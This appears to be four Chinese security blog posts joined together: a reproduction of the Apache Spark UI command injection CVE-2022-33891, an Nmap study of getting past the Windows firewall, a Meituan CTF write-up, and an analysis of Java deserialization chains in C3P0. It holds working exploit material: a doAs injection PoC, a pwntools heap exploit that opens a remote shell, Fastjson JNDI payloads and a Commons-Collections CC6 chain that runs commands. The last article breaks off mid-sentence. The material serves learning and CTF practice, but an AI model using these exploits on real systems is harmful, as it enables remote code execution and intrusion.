Apache Spark UI 命令注入漏洞 CVE-2022-33891
漏洞简介 Apache Spark UI 提供了通过配置选项 spark.acls.enable。 使用身份验证过滤器,这检查用户是否有访问权限来查看或修改应用。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后恶意用户可能能够访问权限检查功能,最终将根据他们的输入构建一个 Unix shell 命令,并且执行它。这将导致任意 shell 命令执行。 影响版本:Apache Spark 版本 3.0.3 及更早版本,版本 3.11 至 3.1.2 ,以及版本 3.2.0 至 3.2.1 漏洞复现   下载 Apache Spark 3.2.1 https://archive.apache.org/dist/spark/   https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz   根据描述是需要开启 acl 功能才可以触发漏洞   开启 ACL 可以通过设定启动时的参数 ./spark-shell --conf spark.acls.enable=true 或者在 conf/spark-defaults.conf 中添加 spark.acls.enable true   ‍   构造 poc http://localhost:4040/?doAs=`[command injection here]` 漏洞分析   为了方便调试在启动脚本中添加上调试参数 export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"   输入错误的执行语句时的报错信息   ‍   漏洞的触发大概就在 org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups   漏洞的调用栈应该为 org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71) org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238) org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381) org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2523) org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34) org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)   加上断点进行调试分析   org.apache.spark.ui.HttpSecurityFilter#doFilter   获取到参数 doAS 赋值为 effectiveUser 传到函数 checkUIViewPermissions   org.apache.spark.SecurityManager#checkUIViewPermissions   org.apache.spark.SecurityManager#isUserInACL   org.apache.spark.util.Utils$#getCurrentUserGroups   org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups   org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups   通过反引号将想要执行的命令包含起来,拼接到原本的命令执行语句中   org.apache.spark.util.Utils$#executeAndGetOutput   org.apache.spark.util.Utils$#executeCommand 漏洞补丁   新版本的修复 删除了 ShellBasedGroupsMappingProvider 中的 bash 的调用,最后执行命令的语句应该变为/usr/bin/id -Gn + 传入参数
Nmap抓包分析与绕过Windows防火墙
前言 在打靶场的过程中使用Nmap时发现点小问题,借此机会详细分析下情况,于是有了这篇文章。 本文包含以下内容: Nmap抓包分析 内网下绕过Windows防火墙扫描存活主机 这里主要是针对Nmap进行讨论,实战中当然哪个快用哪个。不过万变不离其宗,哪怕稍微了解下其原理都受益无穷。 防火墙 这里的防火墙值得是Windows server自带的防火墙,主要绕过其两个防御规则: 1.禁止ICMP回显 2.隐藏模式 具体见https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd448557(v=ws.10)?redirectedfrom=MSDN,大意为:不会使用ICMP不可达响应UDP查询,不使用RST响应TCP查询。默认开启。 https://shamsher-khan-404.medium.com/understanding-nmap-scan-with-wireshark-5144d68059f7-sn:禁用端口扫描 -P* 用于选择不同的PING方法,用于存活扫描 Nmap抓包分析 拓扑图 关闭防火墙便于查看数据包 主机发现(Ping) -PS(TCP SYN) TCP SYN Ping:发送单个TCP SYN包到指定端口检测主机是否存活,默认80端口。该扫描就是经典的半开放扫描。 请求局域网主机135端口(开启) nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping #-n 禁用dns解析 注意nmap扫局域网存活主机都会预先进行arp扫描,在这里禁用了端口扫描,意味着nmap只会进行存活扫描,当nmap进行arp扫描后发现主机存活就不会进行后续操作,wireshark也就抓不到包,所以使用--disable-arp-ping禁用arp扫描。 请求局域网主机666端口(关闭) nmap -sn -PS666 172.16.1.128 -vvv -n --disable-arp-ping 请求远程主机135端口(开启): 还是这里会发现,和扫局域网比起来多了很多包,为什么和扫局域网情况不一样? 还是fofa随便找个开启135端口的IP: 这里会发现,和扫局域网比起来多了很多包。 请求远程主机6666端口(关闭): 奇怪的是,明明远程主机返回了RST/ACK包,但nmap没有接收到。 为什么会有这样的差别?翻了翻nmap官方文档,其中有这样一句话: RST报文是运行Nmap的机器的内核为响应意外的SYN/ACK而发送的,而不是Nmap本身。 突然想到,我的kali是放在vmware,以nat形式接入网络,这样偶尔会出现点小问题。 于是我在windows上装了个nmap再进行测试: 再看下抓包 发现这里没发RST包 关掉防火墙再试,还一下发俩RST…… 接下来将vmware网络模式换为桥接,发现正常了。说明是NAT网络的问题。 -PA(TCP ACK) TCP ACK Ping:发送单个TCP ACK包到指定端口检测主机是否存活,默认80端口 请求局域网主机135端口(开启) 一般ACK包是双方建立起连接发送的,但实际上不存在连接,无论端口是否开启,远程主机都会用RST包来回应,以此来判断主机存活。当然很多防御策略都会丢弃无效包防止被检测。 nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping 请求局域网主机666端口(关闭) nmap -sn -PA666 172.16.1.128 -vvv -n --disable-arp-ping -PU(UDP) UDP Ping:发送UDP包到指定端口检测主机是否存活,默认40125端口。特定端口会发送特定的UDP包以便于获取更好的响应。 按照最新官方文档解释,该包发送大概有以下几种情况: 端口关闭->返回ICMP端口不可达包->判断主机存活。 返回其他ICMP错误,如主机/网络不可达或TTL超标等->判断停机。 端口开启且该服务不响应—>nmap未接收到返回包->判断停机。 端口关闭且协议不匹配->返回ICMP端口不可达包->判断主机存活。 这就是为什么默认要用40125这么冷门的端口,避免有服务使用该端口。 nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping 返回ICMP端口不可达,仍旧判断出主机存活。 局域网没什么问题,扫外网的话同样有前文说的Vmware Nat网络问题,注意一下就好。 -PY(SCTP INIT) SCTP INIT Ping:发送包含最小INIT块的SCTP包到指定端口检测主机是否存活,默认80端口。SCTP可看做TCP协议的改版。 nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping 返回协议不可达,以此判断出主机存活。 -PR(ARP) ARP Ping:ARP扫描,Nmap扫内网最常用的方式。 nmap -sn -PR 172.16.1.128 -vvv -n 接收到arp返回包,判断主机存活。 -PE/PP/PM(ICMP) ICMP Ping:三种ICMP标准请求,如果防火墙关掉ICMP回显则收不到reply。 第一个就是常说的Ping。 第二个是时间戳请求 第三个是地址掩码请求 ICMP标准还有个信息请求,但目前未被广泛支持,所以Nmap没有做相关功能。 -PO(IP Protocol) IP Protocol Ping:默认发送ICMP(协议1)、IGMP(协议2)和IP-in-IP(协议4),更改协议需要改nmap.h文件中的DEFAULT_PROTO_PROBE_PORT_SPEC。目前意义不大。 nmap -sn -PO -vv 172.16.1.128 -n --disable-arp-ping 端口扫描(Scan) 其实端口扫描(Scan)很多参数和主机发现(Ping)的前期抓包情况是一样的。Ping相当于点到为止,根据回显发现主机存活即可,而Scan还需要进一步分析,判断端口是否开启、判断什么服务等。 由于大部分Scan参数与Ping参数请求包一致,而部分Scan参数在本文中并未体现,所以暂且贴出三个参数抓包情况。 -sS(TCP SYN) TCP SYN scan:经典的半开放扫描。 nmap -Pn -sS -p 135 -vvv 172.16.1.128 -n 可见发送的请求包和-PS是一样的,至于Nmap如何判断如何分析,这里就不关心了。 -sT(TCP connect) TCP connect scan:TCP连接扫描,三次握手确认目标后直接发送RST结束当前连接,跳过四次挥手阶段。 端口开启 nmap -Pn -sT -p 135 172.16.1.128 -vvv -n --disable-arp-ping # -Pn 不进行主机存活探测 端口关闭 可以发现,-sT和-PS两个扫描的抓包情况十分接近,只有收到SYN/ACK返回包后应答的不同,这也是-PS被称为半开放扫描的原理。 -sU(UDP) UDP scans:发送UDP包进行扫描 nmap -Pn -sU -p 135 172.16.1.128 -vvv -n --disable-arp-ping 这里显示open|filtered,为什么呢? 因为UDP包请求到开放的端口,经常没有回显。而且这里使用-Pn跳过了主机存活探测,默认主机存活,又因为收不到回显,所以nmap无法判断该端口是开启还是被防御规则过滤。 抓包情况和-PU基本一致: 绕防火墙测试 拓扑图 测试 nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping 未收到[SYN, ACK]返回包,判断主机离线。 nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping 未收到[RST, ACK]返回包,判断主机离线。 nmap -sn -PU135 172.16.1.128 -vvv -n --disable-arp-ping nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping nmap -sn -PR 172.16.1.128 -vvv -n 成功收到ARP回显,判断主机存活: 这样一圈测试下来,发现只有ARP扫描可以。原因也很简单,ARP扫描不会走靶机防火墙,而是以广播的形式进行扫描;而其他参数不是被禁ICMP回显规则拦截就是被隐身模式过滤。 后面又尝试了常用的nbt扫描、smb扫描、以及Nmap其他参数,仍然绕不过防火墙。 WINRM 难道就止步于此了吗?突然想到,之前用Ladon插件扫的时候,没见什么防火墙拦截。 于是拿Ladon测试了下,选多协议探测存活主机,一扫,果真有: WIMRM,很熟悉,这也能拿来扫内网? 简单概述下:WIMRM是windows自带的服务,开启服务后防火墙默认放心5985(HTTP)/5986(HTTPS)端口,平常拿来横向移动。 由于没搜到Ladon源码怎么实现该扫描,谷歌找了找WINRM的文章:https://www.hackingarticles.in/winrm-penetration-testing/ 其中有一行代码: test-wsman -computername "172.16.1.128" 很快就有回显: 随便输了个其他IP,报错: 显然,使用该服务也可以绕过Windows防火墙进行存活主机扫描。 结语 总结一下: arp扫描 可以使用工具,但到了扫内网的情况,都是拿shell了,所以直接cmd命令:arp/a即可。 WINRM test-wsman -computername "172.16.1.128" 至于如何绕防火墙进行端口扫描,留到以后再说吧。
2022美团CTF个人决赛WP
Reverse ROP 解析data的ROP,一点一点还原 from pwn import * opcode = open('data', 'rb').read() opcode_gadget = opcode[0x30+8:] for offset in range(0, len(opcode_gadget), 8):    print(f'{hex(u64(opcode_gadget[offset:offset+8]))}') 提取出来密文,转成64位的 cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,          0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40] cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)] 分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种 流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算 然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1] 最后对比密文跳转结果 照着指令写一个逆回来的过程 #include <stdio.h> #include <stdlib.h> #include <stdint.h> uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186}; void add(int i,int j){    bss_flag[i] -= bss_flag[j]; } void sub(int i,int j){    bss_flag[i] += bss_flag[j]; } void xor1(int i,int j){    bss_flag[i] ^= bss_flag[j]; } int main(){    sub(0x0,0x7);    add(0x1,0x5);    sub(0x3,0x7);    add(0x0,0x5);    add(0x0,0x7);    sub(0x3,0x7);    add(0x0,0x5);    xor1(0x2,0x5);    xor1(0x2,0x5);    sub(0x3,0x7);    sub(0x2,0x6);    xor1(0x0,0x7);    add(0x2,0x4);    add(0x1,0x4);    xor1(0x1,0x7);    xor1(0x0,0x7);    sub(0x0,0x5);    sub(0x0,0x7);    sub(0x0,0x5);    add(0x1,0x7);    xor1(0x1,0x5);    add(0x1,0x6);    sub(0x1,0x4);    xor1(0x2,0x4);    add(0x1,0x4);    sub(0x0,0x6);    sub(0x2,0x7);    add(0x1,0x6);    sub(0x2,0x5);    add(0x0,0x7);    xor1(0x3,0x6);    add(0x2,0x4);    xor1(0x0,0x6);    xor1(0x0,0x5);    xor1(0x3,0x7);    xor1(0x0,0x4);    xor1(0x2,0x5);    xor1(0x2,0x6);    xor1(0x2,0x6);    xor1(0x3,0x4);    xor1(0x0,0x7);    xor1(0x2,0x5);    xor1(0x0,0x4);    xor1(0x3,0x5);    xor1(0x1,0x6);    xor1(0x3,0x7);    xor1(0x0,0x4);    xor1(0x1,0x4);    xor1(0x2,0x7);    xor1(0x1,0x7);    xor1(0x0,0x4);    xor1(0x2,0x6);    xor1(0x0,0x5);    xor1(0x1,0x7);    xor1(0x0,0x5);    xor1(0x0,0x4);    xor1(0x3,0x6);    xor1(0x1,0x7);    xor1(0x2,0x5);    xor1(0x0,0x7);    xor1(0x0,0x7);    xor1(0x2,0x4);    xor1(0x3,0x4);    xor1(0x3,0x7);    printf("%s",(char *)bss_flag);    // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485} } crackme go语言,一开始我ida还f5反编译不了,换了个才可以,难顶 直接sm4加密和rc4,sm4密钥写死在代码里 rc4的key在linese.txt里,密文也在里面 exp: from binascii import unhexlify from Crypto.Cipher import ARC4 from sm4 import SM4Key c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518') key = b'd0cac74c1bbeea071817360e491585e8' cipher = ARC4.new(key) m = cipher.decrypt(c) key0 = SM4Key(b'xc08asb890ajds0a') print(key0.decrypt(m)) Misc What is that stegsolve直接切换几个通道就可以看到 pwn hello 直接网上查到kernel pwn qemu 的非预期 ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以 heap 一个UAF+数组上溢出 这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。 from pwn import * context.log_level='debug' #p=process('./pwn') p=remote('47.95.8.59',42283) elf=ELF('./pwn') #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6') libc=ELF('./libc.so.6') def add(size):    p.sendafter(b'>\n', b'1')    p.sendafter(b'add?\n', str(size).encode()) def dele(index):    p.sendafter(b'>\n', b'2')    p.sendafter(b'up?\n', str(index).encode()) def edit(index,size,content):    p.sendafter(b'>\n', b'3')    p.sendafter(b'write?\n', str(index).encode())    p.sendafter(b'write?\n', str(size).encode())    p.sendafter(b'Content:', content) def show(index):    p.sendafter(b'>\n', b'4')    p.sendafter(b'review?\n', str(index).encode()) show(-11) p.recvuntil('Content:') probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008 arraddr=probase+0x4060 add(0x10) add(0x10) add(0x10) dele(0) dele(1) dele(2) edit(1,8,p64(arraddr)) add(0x10) add(0x10) add(0x10) edit(2,8,p64(probase+elf.got['puts'])) show(0) libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts'] free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] edit(2,8,p64(free_hook)) edit(0,8,p64(system)) add(0x10) edit(3,8,b'/bin/sh\x00') dele(3) p.interactive()
Java反序列化之C3P0链学习
0x01 前言 再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个 0x02 C3P0 组件介绍 C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。 JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。 使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。 连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。 简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多 0x03 C3P0 反序列化漏洞 环境 jdk8u65 pom.xml 如下 <dependency>     <groupId>com.mchange</groupId>     <artifactId>c3p0</artifactId>     <version>0.9.5.2</version> </dependency> C3P0 反序列化三条 Gadgets • 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。 好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种 • URLClassLoader 远程类加载 • JNDI 注入 • 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了 我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。 C3P0 之 URLClassLoader 的链子 C3P0 之 URLClassLoader 流程分析 我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢? 我的第一想法是,获取数据源很可能是通过 URLClassLoader 的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。 后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。 找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法 最后还有类的加载 ———— instance(),我们的链子尾部就找好了。 继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()   ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject(),继续往上找   PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject(),同时这也正好是一个入口类。 总结链子流程图如图   C3P0 之 URLClassLoader EXP 编写 手写一遍 EXP 试试 先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。 EXP 如下 public class RefToURLClassLoader {       public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {           Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");           Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");           Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);           method.setAccessible(true);           Object o = method.invoke(clazz, reference, null, null, null);           Object object = method.invoke(o, null, null, null, null);       }   }  继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法 这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是 IndirectlySerialized 这个类。 在进行完这个判断之后 this.connectionPoolDataSource = (ConnectionPoolDataSource) o; 执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。  这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么 如图,直接包装了一层 indirector.indirectForm()   我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,所以语句也可以这么改写 ReferenceIndirector.indirectForm() 经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么  这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类  跟进一下继承的接口  发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 "ConnectionPoolDataSource" 外表上还是 "ConnectionPoolDataSource",但是实际上已经变成了 "ReferenceSerialized" 这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。 EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。 通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类  C3P0 之 JNDI 注入 误打误撞看到的一处伪 JNDI 注入,失败告终 虽然是误打误撞看到的,也是失败的,但是依然有价值。后面看了https://goodapple.top/的博客,发现这里居然还是可以利用的,简直太强了。 其实是在寻找上一条 Gadget 的时候发现的 位置在这个地方 com.mchange.v2.naming.ReferenceIndirector 它的 getObject() 方法里面有 initialContext.lookup() 所以我尝试了一下发现几个问题,虽然是坑吧,但是这个坑我更愿意称之为尝试。 首先这里,我们如果要触发 JNDI 注入,那么肯定需要控制 contextName 这个属性值,结果好巧不巧,这个属性值是一个类    既然是一个类,就不能直接赋给字符串对象,然后我尝试了它接口的实现类,发现不行,只能是自己这个接口;这利用面感觉太小太小了,很难挖;所以我这里就放弃了。 也挂一手失败的 EXP 吧 public class Test {       public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {           Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");           Method method = clazz.getDeclaredMethod("getObject");           Field ContextField = clazz.getDeclaredField("contextName");           ContextField.setAccessible(true);           DnsName dnsName = new DnsName();           ContextField.set(dnsName,dnsName);           Object o = method.invoke(clazz);           method.invoke(o);       }   } 挺有意思的一次尝试,哈哈哈哈。 C3P0 之 JNDI 注入流程分析 这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链 我们还是以漏洞发现者的思维去寻找,在库中全局搜索 Jndi,看看是否有收获  点开第一个试一下,接着在这个类当中找 jndi 关键词,看到了这个方法:dereference()   在第 112 行与第 114 行,有非常惹人注目的 ctx.lookup() 这里被 lookup() 的变量是 jndiName,跟进去看一下 jndiName 是什么  jndiName 是由 this.getJndiName() 搞来的,跟进看一看 getJndiName() 方法  这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String;回想起我前文挖洞失败的那个经历,不就是因为传参是一个对象所以无法利用吗! 我这里的运气非常好,第一次找就找到了这个漏洞类 回到前面,我们看一下 dereference() 方法,是否允许我们传入一个 String 类型的参数  至此,链子的尾部已经是没问题的了,向上找可用的地方  同一个类下的 inner() 方法调用了它,继续往上找  这里有非常多的 getter/setter 方法,已经是满足作为 fastjson 调用链的条件了,但是对于选择上来说,我们选最简单的 setLoginTimeout() 方法,因为它的传参只需要我们传入一个整数即可。 我觉得这里已经可以写 EXP 了,但是看到有其他师傅的文章分析的意思是:还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大吧,我个人觉得从攻击的角度上来说是都可以的,后续在写 EXP 的环节也会把这个写进去。 如果要继续网上找的话,还有一个是可以利用的类  再向上找可能还是可以,还能利用,但已经完全没必要了。因为黑命单加的都是大类,如果简短的链子被 ban 了,再深的链子也是被 ban 的。 C3P0 之 JNDI EXP 构造 先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单里面。 <dependency>       <groupId>com.alibaba</groupId>       <artifactId>fastjson</artifactId>       <version>1.2.24</version>   </dependency> JndiRefForwardingDataSource 的 EXP 如下 package JNDIVul;      import com.alibaba.fastjson.JSON;      // JndiRefForwardingDataSource 类的直接 EXP 调用   public class JndiForwardingDataSourceEXP {       public static void main(String[] args) {           String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +                   "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";           JSON.parse(payload);       }   } 因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调   JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。 public class JndiRefConnectionPoolDataSourceTest {       public static void main(String[] args) throws PropertyVetoException, SQLException {           JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();           jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");           jndiRefConnectionPoolDataSource.setLoginTimeout(1);       }   }   用 fastjson 打也比较简单 public class JndiRefConnectionPoolDataSourceEXP {       public static void main(String[] args) {           String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +                   "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";           JSON.parse(payload);       }   } 成功   C3P0 之 hexbase 攻击利用 • 这个点因为之前从来没有接触到过,所以跟着其他师傅的文章学习一下,同时这一种利用方式也是二次反序列化的利用之一。 C3P0 之 hexbase 流程分析 这条链子能成立的根本原因是,有一个 WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串 链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中,如图  在给 userOverrides 赋值的时候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作,这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进  它这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;  SerializableUtils#fromByteArray() 调用了 SerializableUtils#deserializeFromByteArray,跟进,看到了反序列化的操作 ———— readObject()   C3P0 之 hexbase EXP 编写 • 因为我们在链子的第一步的时候,看到传入的参数是 this.getUserOverridesAsString(),所以用 Fastjson 的链子打会很简单。 这里我们需要写一个构造 hex 的 EXP,调用之前学 CC 链就可以 EXP 如下 package hexBase;      import com.alibaba.fastjson.JSON;   import org.apache.commons.collections.Transformer;   import org.apache.commons.collections.functors.ChainedTransformer;   import org.apache.commons.collections.functors.ConstantTransformer;   import org.apache.commons.collections.functors.InvokerTransformer;   import org.apache.commons.collections.keyvalue.TiedMapEntry;   import org.apache.commons.collections.map.LazyMap;      import java.beans.PropertyVetoException;   import java.io.ByteArrayOutputStream;   import java.io.IOException;   import java.io.ObjectOutputStream;   import java.io.StringWriter;   import java.lang.reflect.Field;   import java.util.HashMap;   import java.util.Map;      public class HexBaseFastjsonEXP {          //CC6的利用链    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {           //使用InvokeTransformer包装一下    Transformer[] transformers = new Transformer[]{                   new ConstantTransformer(Runtime.class),                   new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})           };           ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);           HashMap<Object, Object> hashMap = new HashMap<>();           Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");           HashMap<Object, Object> expMap = new HashMap<>();           expMap.put(tiedMapEntry, "value");           lazyMap.remove("key");              // 在 put 之后通过反射修改值    Class<LazyMap> lazyMapClass = LazyMap.class;           Field factoryField = lazyMapClass.getDeclaredField("factory");           factoryField.setAccessible(true);           factoryField.set(lazyMap, chainedTransformer);              return expMap;       }             static void addHexAscii(byte b, StringWriter sw)       {           int ub = b & 0xff;           int h1 = ub / 16;           int h2 = ub % 16;           sw.write(toHexDigit(h1));           sw.write(toHexDigit(h2));       }          private static char toHexDigit(int h)       {           char out;           if (h <= 9) out = (char) (h + 0x30);           else out = (char) (h + 0x37);           //System.err.println(h + ": " + out);    return out;       }          //将类序列化为字节数组    public static byte[] tobyteArray(Object o) throws IOException {           ByteArrayOutputStream bao = new ByteArrayOutputStream();           ObjectOutputStream oos = new ObjectOutputStream(bao);           oos.writeObject(o);           return bao.toByteArray();       }          //字节数组转十六进制    public static String toHexAscii(byte[] bytes)       {           int len = bytes.length;           StringWriter sw = new StringWriter(len * 2);           for (int i = 0; i < len; ++i)               addHexAscii(bytes[i], sw);           return sw.toString();       }          public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {           String hex = toHexAscii(tobyteArray(CC6()));           System.out.println(hex);              //Fastjson<1.2.47    String payload = "{" +                   "\"1\":{" +                   "\"@type\":\"java.lang.Class\"," +                   "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +                   "}," +                   "\"2\":{" +                   "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +                   "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +                   "}" +                   "}";           JSON.parse(payload);             }   } 在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload String payload = "{" +         "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +         "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +         "}"; C3P0 之 hexbase 调试分析 断点位置如图  因为我们第一次 Fastjson 拿进去打的是空,是用来加载的,第二次的 payload 是执行,所以可以直接跳过第一次的加载。  当第二次 Fastjson 进来的时候,就有了  在过了 substring 这一步之后,我们看到前面的:HexAsciiSerializedMap: 都无了,现在加载进来的才是真正的 hex 内容  接着,把 hex 的内容转化为了 bytes 字节码  下一步,进行反序列化  跟进  成功弹出计算器 C3P0 之 hexbase 另类 EXP 调试分析 在上文 EXP 的编写中,我提到了 "在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload" 这到底是怎么一回事儿呢 实际上 Fastjson 初始化 WrapperConnectionPoolDataSource 类时,userOverridesAsString 